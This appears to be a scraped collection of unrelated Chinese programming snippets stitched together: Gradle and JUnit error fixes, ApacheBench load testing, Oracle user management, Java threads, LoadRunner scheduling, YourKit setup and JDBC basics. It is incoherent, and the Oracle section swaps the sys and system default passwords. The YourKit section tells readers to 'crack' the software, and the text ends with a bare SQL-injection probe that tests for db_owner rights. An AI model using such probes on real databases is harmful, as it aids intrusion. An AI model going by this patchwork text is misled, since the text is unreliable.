1. https://coderwall.com/p/ybds4w
http://blog.futurice.com/android_unit_testing_in_ides_and_ci_environments
2. 出現(xiàn)問(wèn)題如下:
Exception in thread "main" java.lang.NoClassDefFoundError: junit/textui/ResultPrinter at java.lang.Class.forName0(Native Method) at java.lang.Class.forName(Class.java:169) at com.intellij.rt.execution.application.AppMain.main(AppMain.java:113) Caused by: java.lang.ClassNotFoundException: junit.textui.ResultPrinter at java.net.URLClassLoader$1.run(URLClassLoader.java:200) at java.security.AccessController.doPrivileged(Native Method) at java.net.URLClassLoader.findClass(URLClassLoader.java:188) at java.lang.ClassLoader.loadClass(ClassLoader.java:306) at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:276) at java.lang.ClassLoader.loadClass(ClassLoader.java:251) at java.lang.ClassLoader.loadClassInternal(ClassLoader.java:319) ... 3 more |
原因?yàn)檎{(diào)用的junit android-studio\plugins\junit\lib\junit-rt.jar 下沒(méi)有junit/textui/ResultPrinter 這個(gè)class文件,怎么解決呢????
3. com.google.inject的maven配置
<dependency> <groupId>com.google.inject</groupId> <artifactId>guice</artifactId> <version>1.0</version> </dependency> |
4. android-4.0.1.2.jar Maven配置
<dependency> <groupId>com.google.android</groupId> <artifactId>android</artifactId> <version>4.0.1.2</version> </dependency> |
5. 用gradle編譯項(xiàng)目時(shí)出錯(cuò):
Could not create plugin of type 'AppPlugin'
解決方法:
classpath 'com.android.tools.build:gradle:0.7.0' 改為 classpath 'com.android.tools.build:gradle:0.7.3'
6. 用gradle 同步工程出現(xiàn)錯(cuò)誤如下:
Unable to load class 'org.gradle.api.artifacts.result.ResolvedComponentResult'
解決方法:
classpath 'com.android.tools.build:gradle:0.7.3'
7. gradle-plugin and the gradle version說(shuō)明:
There is a relation between gradle-plugin and the gradle version. For example com.android.tools.build:gradle:0.6.+ -> gradle 1.8 com.android.tools.build:gradle:0.7.+ -> gradle 1.9 com.android.tools.build:gradle:0.8.+ -> gradle 1.9/1.10 com.android.tools.build:gradle:0.9.+ -> gradle 1.10/1.11 You can find gradle version used in your project in the file gradle/wrapper/gradle-wrapper.properties Also there is a relation between gradle-plugin and the IDE version. For example: Android Studio 0.3.x -> gradle-plugin 0.6 Android Studio 0.4.x -> gradle-plugin 0.7 Android Studio 0.4.3+ -> gradle-plugin 0.8 Android Studio 0.5.x -> gradle-plugin 0.9 For updated news you can check this link: http://tools.android.com/recent |
8. 錯(cuò)誤問(wèn)題如下:
!!! JUnit version 3.8 or later expected: java.lang.RuntimeException: Stub! at junit.runner.BaseTestRunner.<init>(BaseTestRunner.java:5) at junit.textui.TestRunner.<init>(TestRunner.java:54) at junit.textui.TestRunner.<init>(TestRunner.java:48) at junit.textui.TestRunner.<init>(TestRunner.java:41) 解決方法:(https://github.com/robolectric/deckard-gradle) For Intellij, go to Project Structure -> Modules -> deckard-gradle pane. In the Dependencies tab, move the Module SDK dependency (i.e. Android API 19 Platform) to be the last item in the list. For Android Studio, dependency ordering is currently not modifiable via any GUI. Therefore, you must modify the project iml file directly as such and reload the project: <orderEntry type="library" exported="" scope="TEST" name="wagon-provider-api-1.0-beta-6" level="project" /> <orderEntry type="library" exported="" scope="TEST" name="xercesMinimal-1.9.6.2" level="project" /> <orderEntry type="jdk" jdkName="Android API 19 Platform" jdkType="Android SDK" /> <---make sure this is the last orderEntry </component> </module> |
9.下載android sdk和platform API參考地址:
http://xtbbbbdx.blog.51cto.com/3506227/1009209
android-3.0_r02-linux.zip的下載鏈接
http://dl.google.com/android/repository/android-3.0_r02-linux.zip
10: NoClassDefFoundError: com/intellij/rt/execution/junit/JUnitStarter: com/intellij/rt/execution/junit/JUnitStarter
解決方法:???
11. No resource found that matches the given name 'Theme.AppCompat.Light.DarkActionBar'.
解決方法:
using android-support-v7-appcompat.jar lib inside libs folder
(compile'com.android.support:appcompat-v7:19.0.+')
引言
為什么我會(huì)寫(xiě)這一篇博客,因?yàn)樽罱芏嗑〇|云擎jae的用戶(hù)反應(yīng)一個(gè)問(wèn)題就是他們部署在jae上面的應(yīng)用訪問(wèn)很慢,有極少數(shù)應(yīng)用甚至經(jīng)常出現(xiàn)504超時(shí)現(xiàn)象,當(dāng)然大家首先想到的是jae性能太差,這也是人之常情,往往出現(xiàn)什么錯(cuò)誤的時(shí)候首先想到是別人的不好,
工作中很多同事也是這樣,如果軟件系統(tǒng)出現(xiàn)一個(gè)bug首先懷疑的肯定不是自己寫(xiě)的代碼。今天花時(shí)間寫(xiě)這一篇博客主要就是告訴大家怎樣確定我們部署在PAAS平臺(tái)(不僅僅是JAE哦)
web應(yīng)用為什么慢?慢在哪兒了?有什么方法可以解決?
原因分析
出現(xiàn)訪問(wèn)自己web應(yīng)用慢從宏觀上可以總結(jié)為下面三點(diǎn):
(1)網(wǎng)絡(luò)慢:具體來(lái)說(shuō)就是訪問(wèn)者同部署web應(yīng)用的PAAS平臺(tái)之間的網(wǎng)絡(luò)慢;
(2)PAAS平臺(tái)性能出現(xiàn)問(wèn)題:具體來(lái)說(shuō)就是由于各種原因?qū)е翽AAS平臺(tái)不能很好服務(wù)部署在它上面的應(yīng)用;
(3)web應(yīng)用本身慢:由于各種原因(頻繁讀寫(xiě)磁盤(pán),大量耗時(shí)的計(jì)算,資源競(jìng)爭(zhēng)等)導(dǎo)致web應(yīng)用不能很快的響應(yīng)訪問(wèn)者的請(qǐng)求。
上面三點(diǎn)主要總結(jié)于web應(yīng)用的訪問(wèn)路徑,因?yàn)樵L問(wèn)PAAS平臺(tái)的web應(yīng)用首先需要經(jīng)過(guò)網(wǎng)絡(luò),然后經(jīng)過(guò)PAAS平臺(tái)的過(guò)濾和轉(zhuǎn)發(fā)等處理,最后才到達(dá)web應(yīng)用本身處理。這三個(gè)環(huán)節(jié)任何一個(gè)出現(xiàn)問(wèn)題都會(huì)導(dǎo)致web應(yīng)用訪問(wèn)變慢。知道原因了,我們還需要判斷到底是哪一個(gè)環(huán)節(jié)出現(xiàn)了問(wèn)題,下面就說(shuō)說(shuō)怎樣定位具體的環(huán)節(jié)。
定位具體原因
上面分析的三個(gè)原因除了第二個(gè)原因以外,大家都可以自己定位和排除,首先檢查網(wǎng)絡(luò),為了更加準(zhǔn)確我們可以從一下方面進(jìn)行排除:
(1)首先檢查訪問(wèn)其他網(wǎng)站是否出現(xiàn)很慢的現(xiàn)象,如果很快,那么說(shuō)明你的網(wǎng)絡(luò)肯定大體上是正常的;
(2)訪問(wèn)對(duì)應(yīng)PAAS平臺(tái)提供的相關(guān)網(wǎng)站和PAAS平臺(tái)所屬公司的網(wǎng)站,例如JAE,你可以訪問(wèn)京東商城主站和京東云平臺(tái)首頁(yè)等,BAE可以訪問(wèn)
百度相關(guān)網(wǎng)站,SAE可以訪問(wèn)新浪相關(guān)網(wǎng)站,因?yàn)檫@些關(guān)聯(lián)網(wǎng)站一般部署在同一個(gè)機(jī)房或者同一個(gè)城市,如果這些網(wǎng)站也很慢,那多半說(shuō)明這些網(wǎng)站相關(guān)機(jī)房網(wǎng)絡(luò)出現(xiàn)問(wèn)題或者訪問(wèn)量很大,導(dǎo)致這些網(wǎng)站對(duì)外出口流量和訪問(wèn)速度變慢,也就是對(duì)外提供服務(wù)的能力扛不住了,如果沒(méi)有問(wèn)題,那么可以排除大的網(wǎng)絡(luò)環(huán)境是沒(méi)有問(wèn)題的;
排除了網(wǎng)絡(luò)因素,我們就可以排除后面兩個(gè)原因了,由于PAAS平臺(tái)的性能對(duì)用戶(hù)基本上是透明的,就是用戶(hù)基本上無(wú)從得知,所以可以直接跳過(guò)這個(gè)原因的排除,當(dāng)然其實(shí)是有手段的,只是稍微復(fù)雜,所以不方便所有用戶(hù),如果是這種原因最好還是交給PAAS平臺(tái)的開(kāi)發(fā)人員去處理。
最后一個(gè)原因當(dāng)然就是web應(yīng)用自身的實(shí)現(xiàn)了,我發(fā)現(xiàn)很多用戶(hù)反饋的網(wǎng)站訪問(wèn)慢的原因都是由于自己代碼實(shí)現(xiàn)的問(wèn)題。
首先出現(xiàn)問(wèn)題的網(wǎng)站大多數(shù)是有一定訪問(wèn)量的,特別是某一個(gè)時(shí)間段出現(xiàn)訪問(wèn)量巨大,而且頻繁讀寫(xiě)磁盤(pán)。為了定位這種原因希望大家把應(yīng)用部署在自己本地使用web性能
測(cè)試工具做驗(yàn)證即可,例如比較常用的web性能測(cè)試工具ab,這個(gè)事apache自帶的測(cè)試工具,ubuntu下安裝和使用都非常方便,例如我們直接在控制臺(tái)中輸入ab,如果沒(méi)有安裝,ubuntu系統(tǒng)會(huì)如下提示:
The program 'ab' is currently not installed. You can install it by typing:
sudo apt-get install apache2-utils
然后安裝提示安裝即可,安裝成功以后我們就可以使用ab軟件對(duì)我們部署在本地的web應(yīng)用進(jìn)行
性能測(cè)試評(píng)估了,命令如下:
ab -n1000 -c10 http://localhost/
上面命令的意思是總共發(fā)送1000次請(qǐng)求,每次10各并發(fā)請(qǐng)求,訪問(wèn)的路徑就是本地web服務(wù)器的根路徑,結(jié)果如下:
This is ApacheBench, Version 2.3 <$Revision: 1430300 $> Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ Licensed to The Apache Software Foundation, http://www.apache.org/ Benchmarking localhost (be patient) Completed 100 requests Completed 200 requests Completed 300 requests Completed 400 requests Completed 500 requests Completed 600 requests Completed 700 requests Completed 800 requests Completed 900 requests Completed 1000 requests Finished 1000 requests Server Software: Apache/2.4.6 Server Hostname: localhost Server Port: 80 Document Path: / Document Length: 177 bytes Concurrency Level: 10 Time taken for tests: 0.075 seconds Complete requests: 1000 Failed requests: 0 Write errors: 0 Total transferred: 446000 bytes HTML transferred: 177000 bytes Requests per second: 13283.74 [#/sec] (mean) Time per request: 0.753 [ms] (mean) Time per request: 0.075 [ms] (mean, across all concurrent requests) Transfer rate: 5785.69 [Kbytes/sec] received Connection Times (ms) min mean[+/-sd] median max Connect: 0 0 0.1 0 1 Processing: 0 1 0.2 0 2 Waiting: 0 0 0.2 0 2 Total: 0 1 0.1 1 2 ERROR: The median and mean for the processing time are more than twice the standard deviation apart. These results are NOT reliable. Percentage of the requests served within a certain time (ms) 50% 1 66% 1 75% 1 80% 1 90% 1 95% 1 98% 1 99% 1 100% 2 (longest request) |
上面具體每一項(xiàng)代碼什么意義可以網(wǎng)上查找,這里我們主要關(guān)心一下如下這個(gè)選項(xiàng):
Requests per second,從結(jié)果看這個(gè)值是13283.74 [#/sec] (mean),表示每一秒鐘可以處理13283.74各請(qǐng)求,因?yàn)槲疫@個(gè)很簡(jiǎn)單的一個(gè)靜態(tài)頁(yè)面(就是apache服務(wù)器安裝后默認(rèn)的首頁(yè)),所以看起很不錯(cuò),而且是通過(guò)本地localhost,沒(méi)有經(jīng)過(guò)網(wǎng)絡(luò)。我們可以改變?cè)L問(wèn)的條件持續(xù)做很多組測(cè)試,例如我把并發(fā)請(qǐng)求數(shù)改為100,即-c100,得到參數(shù)值為:
Requests per second: 11843.29 [#/sec] (mean)
明顯比上面減少了一些,繼續(xù)改總請(qǐng)求數(shù)為10000,并發(fā)數(shù)1000,即-n10000 -c1000得到如下值:
Requests per second: 747.98 [#/sec] (mean)
這個(gè)時(shí)候減少的相當(dāng)?shù)目膳铝耍酝ㄟ^(guò)這個(gè)ab測(cè)試工具就能夠知道我們的web應(yīng)用能夠承擔(dān)多少的并發(fā)訪問(wèn),當(dāng)然我們可以通過(guò)不斷的挑戰(zhàn)參數(shù)進(jìn)行測(cè)試,然后繪制成一個(gè)曲線圖觀察就很方便看出我們web應(yīng)用的最佳性能點(diǎn),超過(guò)那么最佳性能點(diǎn)可能就導(dǎo)致性能下降,那么訪問(wèn)速度也就跟著下降了。
當(dāng)然只看上面一個(gè)參數(shù)看不出具體一個(gè)用戶(hù)訪問(wèn)所需要等待的時(shí)間,另一個(gè)參數(shù)可以看出,我對(duì)應(yīng)三次的測(cè)試這個(gè)參數(shù)值分別如下:
Time per request: 0.753 [ms] (mean)
Time per request: 8.444 [ms] (mean)
Time per request: 1336.942 [ms] (mean)
從三次測(cè)試可以看出,隨著并發(fā)數(shù)的增長(zhǎng),一個(gè)用戶(hù)平均等待的時(shí)間也在變長(zhǎng),這個(gè)最終就反應(yīng)到用戶(hù)web訪問(wèn)的結(jié)果(速度的快慢),這里測(cè)試的只是一個(gè)簡(jiǎn)單的靜態(tài)網(wǎng)頁(yè),如果是復(fù)雜的動(dòng)態(tài)網(wǎng)頁(yè)(例如訪問(wèn)數(shù)據(jù)庫(kù),讀寫(xiě)磁盤(pán)和大量的計(jì)算等)那么就更加復(fù)雜了,一個(gè)請(qǐng)求的快慢由于web應(yīng)用需要處理的業(yè)務(wù)邏輯有很大的關(guān)系,當(dāng)然怎樣讓這些業(yè)務(wù)邏輯執(zhí)行更快并且并行執(zhí)行,這個(gè)就需要程序?qū)崿F(xiàn)者考慮了。
總結(jié)
這里只是簡(jiǎn)單介紹了部署在PAAS平臺(tái)web應(yīng)用訪問(wèn)很慢的可能原因和簡(jiǎn)單定位方法,起始我覺(jué)得大家應(yīng)該中的關(guān)注在第三點(diǎn)上,自身應(yīng)用的優(yōu)化,因?yàn)榍懊鎯牲c(diǎn)都是我們不可控的,網(wǎng)絡(luò)這個(gè)PAAS平臺(tái)自身也解決不了,最多可以部署多個(gè)機(jī)房多個(gè)寬帶運(yùn)營(yíng)商和cdn處理等,但是用戶(hù)自身的網(wǎng)絡(luò)問(wèn)題PAAS平臺(tái)也是解決不了的。至于PAAS平臺(tái)自身的原因,大家就更不用擔(dān)心了,他們比你們更關(guān)系自身PAAS平臺(tái)的性能,因?yàn)樯厦嫱泄苤汕先f(wàn)的web應(yīng)用,他們時(shí)時(shí)刻刻都在關(guān)系著自身平臺(tái)的性能拼勁,想著各種方法優(yōu)化。如果PAAS平臺(tái)的原因?qū)е掠脩?hù)部署的web應(yīng)用訪問(wèn)很慢甚至不可用那么這個(gè)PAAS平臺(tái)自身也做不下去的。
最后還想強(qiáng)調(diào)一點(diǎn)就是web應(yīng)用自身的性能優(yōu)化問(wèn)題,現(xiàn)在各種語(yǔ)言都提供了很好的開(kāi)發(fā)框架,理論上都是穩(wěn)定的并且性能是不錯(cuò)的,當(dāng)然特殊場(chǎng)景需要特殊考慮。但是我們自身在設(shè)計(jì)web應(yīng)用的時(shí)候可能需要考慮的更多,不要妄想一個(gè)簡(jiǎn)單的開(kāi)發(fā)框架就能解決所有的問(wèn)題,尤其是性能問(wèn)題。設(shè)計(jì)到web應(yīng)用優(yōu)化的知識(shí)和技術(shù)非常的多也非常的復(fù)雜,還有很多場(chǎng)景,所以這是各長(zhǎng)久的過(guò)程。后面有機(jī)會(huì)也會(huì)給大家介紹一些web性能優(yōu)化的方法和技術(shù),并且結(jié)合實(shí)際場(chǎng)景進(jìn)行分析和演練。
oracle安裝會(huì)自動(dòng)的生成sys用戶(hù)和system用戶(hù)
(1)sys用戶(hù)是超級(jí)用戶(hù),具有最高權(quán)限,具有sysdba角色,有create database的權(quán)限。該用戶(hù)默認(rèn)的密碼是manager
(2)system用戶(hù)是管理操作員,權(quán)限也很大,具有sysoper角色,沒(méi)有create database的權(quán)限。默認(rèn)的密碼是change_on_install
基本使用:
(1)連接命令
conn 用戶(hù)名/密碼 [as sysdba / sysoper]
當(dāng)用特權(quán)用戶(hù)身份連接時(shí),必須帶上as sysdba 或是as sysoper
(2)斷開(kāi)連接
disc 該命令用來(lái)斷開(kāi)與當(dāng)前數(shù)據(jù)庫(kù)的連接
(3)修改密碼
passw[ord]
修改其他用戶(hù)的密碼必須用sys或是system
password scott; //給scott用戶(hù)修改密碼
(4)顯示當(dāng)前用戶(hù)名
show user;
(5)退出
exit;斷開(kāi)連接并退出
文件操作命令:
(1) start和@ 運(yùn)行sql腳本
start d:\aa.sql 或是 @ d:\aa.sql
(2)edit d:\aa.sql 編輯sql腳本
(3)spool 將屏幕內(nèi)容輸出到指定文件中
spool d:\aa.sql;
select * from emp; //執(zhí)行語(yǔ)句
spool off;
顯示和設(shè)置環(huán)境變量:
(1)linesize 設(shè)置顯示行的寬度
set linesize 50; //默認(rèn)80
(2)pagesize 設(shè)置每頁(yè)顯示的行數(shù)目,默認(rèn)14
用法和linesize 一樣
set pagesize 14;
用戶(hù)管理:
(1)創(chuàng)建用戶(hù)
create user //一般是具有dba的權(quán)限才能使用
create user scott(用戶(hù)名) identified by tiger(密碼);
(2)刪除用戶(hù)
drop user 用戶(hù)名;
不能自己刪除自己,一般以dba的身份去刪除某個(gè)用戶(hù)
(3)刪除用戶(hù)時(shí),若該用戶(hù)已經(jīng)創(chuàng)建了表,那么在刪除時(shí)帶參數(shù)cascade,表示將用戶(hù)和其創(chuàng)建的表都刪掉。
(4)新創(chuàng)建的用戶(hù)沒(méi)有任何權(quán)限。system和sys可以為其賦權(quán)限。
賦予系統(tǒng)權(quán)限:(使用system用戶(hù))
grant connect to scott; (connect角色) //登陸權(quán)限
grant resource to scott; //建表權(quán)限
賦予對(duì)象權(quán)限:
(表的擁有者,sys,system) grant select on emp(表) to scott; 將emp的查詢(xún)權(quán)限賦予scott
scott可以用select * from owner.emp
(方案)
對(duì)象權(quán)限:select,insert ,update,delete,all,create index....等對(duì)表的操作
角色: resource:在任何一個(gè)表空間建表
connect
dba:普通用戶(hù)相應(yīng)的會(huì)變成dba
收回權(quán)限:revoke (用賦權(quán)的用戶(hù)收回)
revoke select(對(duì)象權(quán)限) on emp(表) from scott; 權(quán)限的維護(hù):
希望Scott用戶(hù)可以去查詢(xún)owner的emp表,Scott可以將查詢(xún)權(quán)限授予別人。
a:如果是對(duì)象權(quán)限,就加入with grant option
grant select on owner.emp to scott with grant option;
b:如果是系統(tǒng)權(quán)限 with admin option
grant connect to scott with admin option; //scott可以將這種權(quán)限向下傳遞
若owner——>scott——>xiaoming,owner將scott對(duì)表的查詢(xún)權(quán)限回收了,那xiaoming還有沒(méi)有權(quán)限。這樣xiaoming 的查詢(xún)權(quán)限也被回收。即:級(jí)聯(lián)回收~
用戶(hù)口令:
用profile管理用戶(hù)口令
(1)賬戶(hù)鎖定:
create profile lock_account limit failed_login_attempts 3 password_lock_time 2; //創(chuàng)建profile文件 ,2代表鎖定的天數(shù)
alter user xiaoming profile lock_accout; //將這個(gè)文件用于xiaoming
(2)給賬戶(hù)解鎖:(dba權(quán)限)
alter user tea accont unlock;
(3)終止口令(dba身份)
create profile myprofile limit password_life_time 10 password_grace_time 2;//每隔10天修改自己的密碼,寬限期為2天
alter user tea profile myprofile//把這個(gè)文件分配給xx
(4)口令密碼:在修改密碼時(shí),不能使用以前使用過(guò)的密碼
create profile password_history limit password_life_time 10 password_grace_time 2 password_reuse_time 10
password_reuse_time //指定口令可以重用時(shí)間,即10天后可以重用
分配給用戶(hù)
(5)刪除profile
drop profile password_history [cascade]級(jí)聯(lián),將相關(guān)的全部刪除。
線程就是程序中執(zhí)行單個(gè)任務(wù)的順序的流程。
線程創(chuàng)建的兩種方式:
1、繼承Thread類(lèi)
publicstaticvoidmain(String[]args) { //繼承Thread類(lèi)覆蓋父類(lèi)run方法 Threadthread=newThread() { @Override publicvoidrun() { while(true) { System.out.println(Thread.currentThread().getName()); } } }; thread.start(); } |
2、實(shí)現(xiàn)Runnable接口的run方法
publicstaticvoidmain(String[]args) { Threadthread=newThread(newRunnable() { @Override publicvoidrun() { while(true) { System.out.println(Thread.currentThread().getName()); } } }); thread.start(); } |
總結(jié):以上是Java實(shí)現(xiàn)多線程的兩種方式:繼承Thread類(lèi)和Runnable接口,由于Java類(lèi)的單繼承性,接口又可以實(shí)現(xiàn)多繼承以及使用Runnable接口可以很好地將需要執(zhí)行的任務(wù)代碼與線程類(lèi)分離,所以推薦使用實(shí)現(xiàn)Runnable接口的方法去實(shí)現(xiàn)多繼承。但不管怎樣最終都需要使用Thread.start()方法來(lái)使線程處于可運(yùn)行狀態(tài)吐舌頭
3、線程中start() 方法與run() 方法的區(qū)別
1、start()方法
調(diào)用start()方法就是為了告訴系統(tǒng)我這兒有一個(gè)線程已經(jīng)處于可運(yùn)行狀態(tài),并沒(méi)有開(kāi)始運(yùn)行,如果cpu分配了時(shí)間片,那么JVM就會(huì)調(diào)用本線程的run()方法來(lái)運(yùn)行線程;run()方法一旦執(zhí)行結(jié)束,則本線程終止。
2、run()方法
run()方法只是類(lèi)的一個(gè)普通方法,如果直接調(diào)用run()方法,那么程序中只會(huì)存在一個(gè)主線程,在調(diào)用run()方法以后的代碼,必須等待run()方法執(zhí)行完成后才能執(zhí)行,直接調(diào)用其他普通方法一樣沒(méi)有區(qū)別。
總結(jié):調(diào)用start()方法可以開(kāi)啟一個(gè)新的線程,并在新的線程中運(yùn)行run()方法;而直接調(diào)用run()方法則不會(huì)開(kāi)啟新線程,run()方法還是執(zhí)行于主線程中。
4.線程的運(yùn)行結(jié)果
public static void main(String[] args) { Thread thread = new Thread(new Runnable() { //實(shí)現(xiàn)了Runnable接口的run()方法 @Override public void run() { System.out.println("Runnable:" + Thread.currentThread().getName()); } }) { //繼承了Thread類(lèi) 并覆蓋了Thread類(lèi)的run()方法 @Override public void run() { System.out.println("Thread:" + Thread.currentThread().getName()); } }; thread.start(); } |
運(yùn)行的結(jié)果為:
總結(jié):Thread的子類(lèi)覆蓋了父類(lèi)的run()方法,所以執(zhí)行了子類(lèi)的run()方法,在子類(lèi)的run()方法中又沒(méi)有調(diào)用傳入的接口實(shí)現(xiàn)類(lèi)的run()方法。
應(yīng)用場(chǎng)景 假設(shè)有3個(gè)不同的
測(cè)試場(chǎng)景,分別為并發(fā)登錄、核心業(yè)務(wù)、可靠性測(cè)試,3個(gè)場(chǎng)景有先后執(zhí)行順序。由于白天測(cè)試機(jī)器另有用處,只能在晚上進(jìn)行
性能測(cè)試,這時(shí)我們的期望是能否把測(cè)試場(chǎng)景都設(shè)定好之后晚上自動(dòng)運(yùn)行,第二天我們回來(lái)看測(cè)試結(jié)果呢? 答案是肯定的,可以有兩種方式實(shí)現(xiàn)。
第一種,相對(duì)簡(jiǎn)單充分利用LR Controller里面Group的功能。 新建一個(gè)場(chǎng)景把3個(gè)腳本都添加進(jìn)來(lái),在Edit Schedule中選擇“Schedule by Group”的方式,在StartTime中設(shè)置3個(gè)腳本的運(yùn)行順序?yàn)?#8220;Start when Group xxx finished”,并在“Scenario Start Time”中設(shè)定場(chǎng)景在晚上的運(yùn)行啟動(dòng)時(shí)間。設(shè)定完定時(shí)執(zhí)行場(chǎng)景后,點(diǎn)擊StartScenario按鈕,會(huì)出現(xiàn)一個(gè)倒計(jì)時(shí)窗口,這樣在固定的某個(gè)時(shí)間上,測(cè)試場(chǎng)景中的3個(gè)腳本將乖乖的按照設(shè)定的先后順序進(jìn)行測(cè)試。注意,如果沒(méi)有點(diǎn)擊StartScenario按鈕激活測(cè)試,是不會(huì)真正進(jìn)行測(cè)試的。(感謝Athenst朋友的提醒,^_^)
第二種,比較靈活我們把應(yīng)用場(chǎng)景稍微擴(kuò)展一下,假設(shè)其中1、3場(chǎng)景只有一個(gè)測(cè)試腳本,而核心業(yè)務(wù)場(chǎng)景由數(shù)據(jù)錄入、數(shù)據(jù)查詢(xún)、數(shù)據(jù)上報(bào)3個(gè)腳本組成,同樣的,3個(gè)場(chǎng)景仍需按順序進(jìn)行測(cè)試。這時(shí)如果采用第一種方式,由于第2個(gè)場(chǎng)景有3個(gè)腳本,所以第三個(gè)腳本的啟動(dòng)時(shí)間就是一個(gè)問(wèn)題了。由于Controller中每個(gè)腳本都對(duì)應(yīng)一個(gè)Group,而且GroupName不能重復(fù),這時(shí)第三個(gè)場(chǎng)景的StartTime中“Start when group finished”則只能是選擇第二個(gè)場(chǎng)景中的某個(gè)Group,而并非是第二個(gè)場(chǎng)景的3個(gè)腳本都完成之后再進(jìn)行,無(wú)法達(dá)到我們的初衷。 這時(shí),可以通過(guò)命令行的方式來(lái)進(jìn)行。 首先創(chuàng)建并設(shè)置好3個(gè)測(cè)試場(chǎng)景,再創(chuàng)建一個(gè)一個(gè)批處理程序按先后順序調(diào)用這3個(gè)場(chǎng)景進(jìn)行測(cè)試,最后通過(guò)
Windows的定時(shí)任務(wù)設(shè)定批處理的執(zhí)行時(shí)間。
批處理示例如下:
cls SET M_ROOT="D:\Program Files\MI\Mercury LoadRunner\bin\" %M_ROOT%\wlrun.exe -TestPath "D:\Program Files\MI\Mercury LoadRunner\scenario\Test\TestScen_1.lrs" -Run %M_ROOT%\wlrun.exe -TestPath "D:\Program Files\MI\Mercury LoadRunner\scenario\Test\TestScen_2.lrs" -Run %M_ROOT%\wlrun.exe -TestPath "D:\Program Files\MI\Mercury LoadRunner\scenario\Test\TestScen_3.lrs" -Run |
這種方式比較靈活,但需要注意在Result Settings中設(shè)置“Automatically create a results directory for each scenario execution”,以免后面的測(cè)試結(jié)果覆蓋了前面的。
另外補(bǔ)充一下,如果想對(duì)某個(gè)腳本進(jìn)行50、100、150...等用戶(hù)數(shù)遞增的測(cè)試,也可以用以上方法實(shí)現(xiàn),但需要注意的是將事務(wù)名稱(chēng)區(qū)分開(kāi)以便進(jìn)行分析。
安裝、運(yùn)行,
1 下載windows版本的yourkit,安裝并破解。
2 在本機(jī)tomcat安裝yourkit插件
2.1 打開(kāi)tomcat的環(huán)境參數(shù)配置文件catalina.bat。
2.2 增加
java系統(tǒng)參數(shù):
set JAVA_OPTS=%JAVA_OPTS% -agentpath:D:/java/share/yjpagent.dll
yjpagent.dll從your kit的安裝目錄能找到,如D:\Program Files (x86)\YourKit Java Profiler 9.0.3\bin\win32下。
請(qǐng)注意,不能將系統(tǒng)參數(shù)設(shè)置為-agentpath: D:/Program Files (x86)/YourKit Java Profiler 9.0.3/bin/win32/ yjpagent.dll,否則tomcat將無(wú)法啟動(dòng),因?yàn)槁窂街泻锌崭瘛R虼藢jpagent.dll復(fù)制到無(wú)空格的目錄,如D:/java/share/yjpagent.dll。(本人當(dāng)初因踩了“路徑有空格”這坑,而折騰了很久)。
2.3如果是監(jiān)控遠(yuǎn)程linux上的tomcat,唯一的區(qū)別是下載linux版yourkit獲取linux版的yjpagent庫(kù)文件。
3 啟動(dòng)tomcat
4 運(yùn)行your kit
5 在”show all running JVMS” 復(fù)選框打勾,能看到本機(jī)運(yùn)行的java進(jìn)程。
6 在列表中雙擊tomcat對(duì)應(yīng)的進(jìn)程,即可以看到y(tǒng)our kit的監(jiān)控界面。
監(jiān)控
1 看各函數(shù)cpu資源消耗比例
1.1點(diǎn)Cpu標(biāo)簽頁(yè)
1.2在cpu time圖標(biāo)框,用鼠標(biāo)水平劃一時(shí)間區(qū)域
1.3在底下的分析欄:CPU Usage Estimation,將顯示該時(shí)間段各個(gè)函數(shù)cpu資源利用比例。選擇函數(shù)點(diǎn)擊能顯示子函數(shù)的占用比。
參數(shù):targetPath 目標(biāo)路徑
//消除目錄結(jié)構(gòu) List<File> list=allFile(targetPath); for(File each:list) { File file=new File(targetPath+File.separator+each.getName()); each.renameTo(file); } //刪除空文件夾 File dir= new File(targetPath); for(File eaFile:dir.listFiles()) { if(eaFile.isDirectory()) { eaFile.delete(); } } private List<File> allFile(String path) { File targetDir=new File(path); List<File> list=new ArrayList<File>(); for(File each:targetDir.listFiles()) { if(each.isDirectory()) list.addAll(allFile(each.getPath())); else list.add(each); } return list; } |
經(jīng)典應(yīng)該用框架:
第一步,加載JDBC數(shù)據(jù)庫(kù)驅(qū)動(dòng)程序(不同的數(shù)據(jù)庫(kù)有不同的數(shù)據(jù)庫(kù)驅(qū)動(dòng),所以在連接數(shù)據(jù)庫(kù)之前,需加載驅(qū)動(dòng))
格式:
String driver = "com.mysql.jdbc.Driver";
Class.forName(driver);//加載mysql數(shù)據(jù)庫(kù),用Class.forName("驅(qū)動(dòng)名稱(chēng)")進(jìn)行加載
第二步,創(chuàng)建數(shù)據(jù)庫(kù)連接,將數(shù)據(jù)庫(kù)與當(dāng)前文件連接起來(lái),后面才可以對(duì)數(shù)據(jù)庫(kù)進(jìn)行操作
格式:
String url = "jdbc:mysql://localhost:3306/數(shù)據(jù)庫(kù)名";//建立數(shù)據(jù)庫(kù)連接地址
Connection conn = null;//建立數(shù)據(jù)庫(kù)連接對(duì)象
conn = DriverManager.getConnection(url,"root","root");//連接數(shù)據(jù)庫(kù)
第三步,創(chuàng)建操作對(duì)象和操作語(yǔ)句(用插入操作做例子)
PreparedStatement pstmt = null; //4.建立數(shù)據(jù)庫(kù)操作對(duì)象
String sql = null;//數(shù)據(jù)庫(kù)操作語(yǔ)句
sql = "INSERT INTO 表名 (屬性,屬性,屬性) VALUES (?,?,?)" ;//插入操作,可以是別的操作語(yǔ)句
pstmt = conn.prepareStatement(sql);
pstmt.setString(1,值) ;
pstmt.setString(2,值) ;
pstmt.setString(3,值) ;
pstmt.executeUpdate() ;
第四步,當(dāng)操作時(shí)查詢(xún)操作時(shí),還需要?jiǎng)?chuàng)建一個(gè)結(jié)果集對(duì)象
格式:
ResultSet rs = null;
sql = "select 屬性,屬性,屬性 from 表名";
pstmt = conn.prepareStatement(sql);
rs = pstmt.executeQuery();
rs.getString("屬性");具體方法看屬性的類(lèi)型,返回查詢(xún)結(jié)果
第五步,關(guān)閉數(shù)據(jù)庫(kù),在這有個(gè)規(guī)則,就是得先關(guān)閉結(jié)果集,再關(guān)閉操作對(duì)象,最后關(guān)閉數(shù)據(jù)庫(kù)連接
格式:
rs.close();//如果程序沒(méi)有查詢(xún)操作,則不用寫(xiě)這條語(yǔ)句
ptsmt.close();
conn.close();
以上就是簡(jiǎn)單JDBC操作數(shù)據(jù)庫(kù)的應(yīng)用框架,一般的程序連接數(shù)據(jù)庫(kù),都是這個(gè)過(guò)程的.
//看看是什么權(quán)限的
and 1=(Select IS_MEMBER('db_owner'))
